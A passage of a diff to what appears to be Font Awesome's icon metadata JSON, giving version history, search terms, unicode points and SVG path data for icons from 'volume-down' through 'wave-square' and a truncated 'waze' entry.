0 0 0 289-22.1c-112.9 16.1-203.3-24.8-256.9-62.1zm180.3-360.6c55.3 70.4 82.5 161.2 74.6 253.6a286.59 286.59 0 0 0 89.7-14.2c0-2 .3-4 .3-6 0-107.8-68.7-199.1-164.6-233.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M231.39 243.48a285.56 285.56 0 0 0-22.7-105.7c-90.8 42.4-157.5 122.4-180.3 216.8a249 249 0 0 0 56.9 81.1 333.87 333.87 0 0 1 146.1-192.2zm-36.9-134.4a284.23 284.23 0 0 0-57.4-70.7c-91 49.8-144.8 152.9-125 262.2 33.4-83.1 98.4-152 182.4-191.5zm187.6 165.1c8.6-99.8-27.3-197.5-97.5-264.4-14.7-1.7-51.6-5.5-98.9 8.5A333.87 333.87 0 0 1 279.19 241a285 285 0 0 0 102.9 33.18zm-124.7 9.5a286.33 286.33 0 0 0-80.2 72.6c82 57.3 184.5 75.1 277.5 47.8a247.15 247.15 0 0 0 42.2-89.9 336.1 336.1 0 0 1-80.9 10.4c-54.6-.1-108.9-14.1-158.6-40.9zm-98.3 99.7c-15.2 26-25.7 54.4-32.1 84.2a247.07 247.07 0 0 0 289-22.1c-112.9 16.1-203.3-24.8-256.9-62.1zm180.3-360.6c55.3 70.4 82.5 161.2 74.6 253.6a286.59 286.59 0 0 0 89.7-14.2c0-2 .3-4 .3-6 0-107.8-68.7-199.1-164.6-233.4z" + } + }, + "free": [ + "solid" + ] + }, + "volume-down": { + "changes": [ + "1", + "5.0.0", + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "lower", + "music", + "quieter", + "sound", + "speaker" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f027", + "label": "Volume Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635800, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M215.03 72.04L126.06 161H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V89.02c0-21.47-25.96-31.98-40.97-16.98zm123.2 108.08c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 229.28 336 242.62 336 257c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.87z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M215.03 72.04L126.06 161H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V89.02c0-21.47-25.96-31.98-40.97-16.98zm123.2 108.08c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 229.28 336 242.62 336 257c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.87z" + } + }, + "free": [ + "solid" + ] + }, + "volume-mute": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "music", + "quiet", + "sound", + "speaker" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6a9", + "label": "Volume Mute", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635800, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zM461.64 256l45.64-45.64c6.3-6.3 6.3-16.52 0-22.82l-22.82-22.82c-6.3-6.3-16.52-6.3-22.82 0L416 210.36l-45.64-45.64c-6.3-6.3-16.52-6.3-22.82 0l-22.82 22.82c-6.3 6.3-6.3 16.52 0 22.82L370.36 256l-45.63 45.63c-6.3 6.3-6.3 16.52 0 22.82l22.82 22.82c6.3 6.3 16.52 6.3 22.82 0L416 301.64l45.64 45.64c6.3 6.3 16.52 6.3 22.82 0l22.82-22.82c6.3-6.3 6.3-16.52 0-22.82L461.64 256z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zM461.64 256l45.64-45.64c6.3-6.3 6.3-16.52 0-22.82l-22.82-22.82c-6.3-6.3-16.52-6.3-22.82 0L416 210.36l-45.64-45.64c-6.3-6.3-16.52-6.3-22.82 0l-22.82 22.82c-6.3 6.3-6.3 16.52 0 22.82L370.36 256l-45.63 45.63c-6.3 6.3-6.3 16.52 0 22.82l22.82 22.82c6.3 6.3 16.52 6.3 22.82 0L416 301.64l45.64 45.64c6.3 6.3 16.52 6.3 22.82 0l22.82-22.82c6.3-6.3 6.3-16.52 0-22.82L461.64 256z" + } + }, + "free": [ + "solid" + ] + }, + "volume-off": { + "changes": [ + "1", + "5.0.0", + "5.3.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "ban", + "music", + "mute", + "quiet", + "silent", + "sound" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f026", + "label": "Volume Off", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635800, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M215 71l-89 89H24a24 24 0 0 0-24 24v144a24 24 0 0 0 24 24h102.06L215 441c15 15 41 4.47 41-17V88c0-21.47-26-32-41-17z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M215 71l-89 89H24a24 24 0 0 0-24 24v144a24 24 0 0 0 24 24h102.06L215 441c15 15 41 4.47 41-17V88c0-21.47-26-32-41-17z" + } + }, + "free": [ + "solid" + ] + }, + "volume-up": { + "changes": [ + "1", + "5.0.0", + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "higher", + "louder", + "music", + "sound", + "speaker" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f028", + "label": "Volume Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635801, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zm233.32-51.08c-11.17-7.33-26.18-4.24-33.51 6.95-7.34 11.17-4.22 26.18 6.95 33.51 66.27 43.49 105.82 116.6 105.82 195.58 0 78.98-39.55 152.09-105.82 195.58-11.17 7.32-14.29 22.34-6.95 33.5 7.04 10.71 21.93 14.56 33.51 6.95C528.27 439.58 576 351.33 576 256S528.27 72.43 448.35 19.97zM480 256c0-63.53-32.06-121.94-85.77-156.24-11.19-7.14-26.03-3.82-33.12 7.46s-3.78 26.21 7.41 33.36C408.27 165.97 432 209.11 432 256s-23.73 90.03-63.48 115.42c-11.19 7.14-14.5 22.07-7.41 33.36 6.51 10.36 21.12 15.14 33.12 7.46C447.94 377.94 480 319.54 480 256zm-141.77-76.87c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 228.28 336 241.63 336 256c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.86z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zm233.32-51.08c-11.17-7.33-26.18-4.24-33.51 6.95-7.34 11.17-4.22 26.18 6.95 33.51 66.27 43.49 105.82 116.6 105.82 195.58 0 78.98-39.55 152.09-105.82 195.58-11.17 7.32-14.29 22.34-6.95 33.5 7.04 10.71 21.93 14.56 33.51 6.95C528.27 439.58 576 351.33 576 256S528.27 72.43 448.35 19.97zM480 256c0-63.53-32.06-121.94-85.77-156.24-11.19-7.14-26.03-3.82-33.12 7.46s-3.78 26.21 7.41 33.36C408.27 165.97 432 209.11 432 256s-23.73 90.03-63.48 115.42c-11.19 7.14-14.5 22.07-7.41 33.36 6.51 10.36 21.12 15.14 33.12 7.46C447.94 377.94 480 319.54 480 256zm-141.77-76.87c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 228.28 336 241.63 336 256c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.86z" + } + }, + "free": [ + "solid" + ] + }, + "vote-yea": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "accept", + "cast", + "election", + "politics", + "positive", + "yes" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f772", + "label": "Vote Yea", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635802, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M608 320h-64v64h22.4c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8H96v-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h576c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32zm-96 64V64.3c0-17.9-14.5-32.3-32.3-32.3H160.4C142.5 32 128 46.5 128 64.3V384h384zM211.2 202l25.5-25.3c4.2-4.2 11-4.2 15.2.1l41.3 41.6 95.2-94.4c4.2-4.2 11-4.2 15.2.1l25.3 25.5c4.2 4.2 4.2 11-.1 15.2L300.5 292c-4.2 4.2-11 4.2-15.2-.1l-74.1-74.7c-4.3-4.2-4.2-11 0-15.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M608 320h-64v64h22.4c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8H96v-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h576c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32zm-96 64V64.3c0-17.9-14.5-32.3-32.3-32.3H160.4C142.5 32 128 46.5 128 64.3V384h384zM211.2 202l25.5-25.3c4.2-4.2 11-4.2 15.2.1l41.3 41.6 95.2-94.4c4.2-4.2 11-4.2 15.2.1l25.3 25.5c4.2 4.2 4.2 11-.1 15.2L300.5 292c-4.2 4.2-11 4.2-15.2-.1l-74.1-74.7c-4.3-4.2-4.2-11 0-15.2z" + } + }, + "free": [ + "solid" + ] + }, + "vr-cardboard": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "3d", + "augment", + "google", + "reality", + "virtual" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f729", + "label": "Cardboard VR", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635802, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h160.22c25.19 0 48.03-14.77 58.36-37.74l27.74-61.64C286.21 331.08 302.35 320 320 320s33.79 11.08 41.68 28.62l27.74 61.64C399.75 433.23 422.6 448 447.78 448H608c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM160 304c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64zm320 0c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h160.22c25.19 0 48.03-14.77 58.36-37.74l27.74-61.64C286.21 331.08 302.35 320 320 320s33.79 11.08 41.68 28.62l27.74 61.64C399.75 433.23 422.6 448 447.78 448H608c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM160 304c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64zm320 0c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64z" + } + }, + "free": [ + "solid" + ] + }, + "vuejs": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f41f", + "label": "Vue.js", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z" + } + }, + "free": [ + "brands" + ] + }, + "walking": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "exercise", + "health", + "pedometer", + "person", + "steps" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f554", + "label": "Walking", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635804, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M208 96c26.5 0 48-21.5 48-48S234.5 0 208 0s-48 21.5-48 48 21.5 48 48 48zm94.5 149.1l-23.3-11.8-9.7-29.4c-14.7-44.6-55.7-75.8-102.2-75.9-36-.1-55.9 10.1-93.3 25.2-21.6 8.7-39.3 25.2-49.7 46.2L17.6 213c-7.8 15.8-1.5 35 14.2 42.9 15.6 7.9 34.6 1.5 42.5-14.3L81 228c3.5-7 9.3-12.5 16.5-15.4l26.8-10.8-15.2 60.7c-5.2 20.8.4 42.9 14.9 58.8l59.9 65.4c7.2 7.9 12.3 17.4 14.9 27.7l18.3 73.3c4.3 17.1 21.7 27.6 38.8 23.3 17.1-4.3 27.6-21.7 23.3-38.8l-22.2-89c-2.6-10.3-7.7-19.9-14.9-27.7l-45.5-49.7 17.2-68.7 5.5 16.5c5.3 16.1 16.7 29.4 31.7 37l23.3 11.8c15.6 7.9 34.6 1.5 42.5-14.3 7.7-15.7 1.4-35.1-14.3-43zM73.6 385.8c-3.2 8.1-8 15.4-14.2 21.5l-50 50.1c-12.5 12.5-12.5 32.8 0 45.3s32.7 12.5 45.2 0l59.4-59.4c6.1-6.1 10.9-13.4 14.2-21.5l13.5-33.8c-55.3-60.3-38.7-41.8-47.4-53.7l-20.7 51.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M208 96c26.5 0 48-21.5 48-48S234.5 0 208 0s-48 21.5-48 48 21.5 48 48 48zm94.5 149.1l-23.3-11.8-9.7-29.4c-14.7-44.6-55.7-75.8-102.2-75.9-36-.1-55.9 10.1-93.3 25.2-21.6 8.7-39.3 25.2-49.7 46.2L17.6 213c-7.8 15.8-1.5 35 14.2 42.9 15.6 7.9 34.6 1.5 42.5-14.3L81 228c3.5-7 9.3-12.5 16.5-15.4l26.8-10.8-15.2 60.7c-5.2 20.8.4 42.9 14.9 58.8l59.9 65.4c7.2 7.9 12.3 17.4 14.9 27.7l18.3 73.3c4.3 17.1 21.7 27.6 38.8 23.3 17.1-4.3 27.6-21.7 23.3-38.8l-22.2-89c-2.6-10.3-7.7-19.9-14.9-27.7l-45.5-49.7 17.2-68.7 5.5 16.5c5.3 16.1 16.7 29.4 31.7 37l23.3 11.8c15.6 7.9 34.6 1.5 42.5-14.3 7.7-15.7 1.4-35.1-14.3-43zM73.6 385.8c-3.2 8.1-8 15.4-14.2 21.5l-50 50.1c-12.5 12.5-12.5 32.8 0 45.3s32.7 12.5 45.2 0l59.4-59.4c6.1-6.1 10.9-13.4 14.2-21.5l13.5-33.8c-55.3-60.3-38.7-41.8-47.4-53.7l-20.7 51.5z" + } + }, + "free": [ + "solid" + ] + }, + "wallet": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "billfold", + "cash", + "currency", + "money" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f555", + "label": "Wallet", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635804, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M461.2 128H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h384c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h397.2c28.02 0 50.8-21.53 50.8-48V176c0-26.47-22.78-48-50.8-48zM416 336c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M461.2 128H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h384c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h397.2c28.02 0 50.8-21.53 50.8-48V176c0-26.47-22.78-48-50.8-48zM416 336c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "warehouse": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "capacity", + "garage", + "inventory", + "storage" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f494", + "label": "Warehouse", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635806, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M504 352H136.4c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0 96H136.1c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8h368c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0-192H136.6c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm106.5-139L338.4 3.7a48.15 48.15 0 0 0-36.9 0L29.5 117C11.7 124.5 0 141.9 0 161.3V504c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V256c0-17.6 14.6-32 32.6-32h382.8c18 0 32.6 14.4 32.6 32v248c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V161.3c0-19.4-11.7-36.8-29.5-44.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M504 352H136.4c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0 96H136.1c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8h368c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0-192H136.6c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm106.5-139L338.4 3.7a48.15 48.15 0 0 0-36.9 0L29.5 117C11.7 124.5 0 141.9 0 161.3V504c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V256c0-17.6 14.6-32 32.6-32h382.8c18 0 32.6 14.4 32.6 32v248c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V161.3c0-19.4-11.7-36.8-29.5-44.3z" + } + }, + "free": [ + "solid" + ] + }, + "watchman-monitoring": { + "changes": [ + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e087", + "label": "Watchman Monitoring", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785925, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z" + } + }, + "free": [ + "brands" + ] + }, + "water": { + "changes": [ + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "lake", + "liquid", + "ocean", + "sea", + "swim", + "wet" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f773", + "label": "Water", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635808, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M562.1 383.9c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144C540.6 93.4 520 85.4 504.2 73 490.1 61.9 470 61.7 456 73c-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M562.1 383.9c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144C540.6 93.4 520 85.4 504.2 73 490.1 61.9 470 61.7 456 73c-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3z" + } + }, + "free": [ + "solid" + ] + }, + "wave-square": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "frequency", + "pulse", + "signal" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f83e", + "label": "Square Wave", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635809, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M476 480H324a36 36 0 0 1-36-36V96h-96v156a36 36 0 0 1-36 36H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h112V68a36 36 0 0 1 36-36h152a36 36 0 0 1 36 36v348h96V260a36 36 0 0 1 36-36h140a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H512v156a36 36 0 0 1-36 36z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M476 480H324a36 36 0 0 1-36-36V96h-96v156a36 36 0 0 1-36 36H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h112V68a36 36 0 0 1 36-36h152a36 36 0 0 1 36 36v348h96V260a36 36 0 0 1 36-36h140a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H512v156a36 36 0 0 1-36 36z" + } + }, + "free": [ + "solid" + ] + }, + "waze": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f83f", + "label": "Waze", + "svg": { + "brands": { + "last_modified": 1558987775925, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 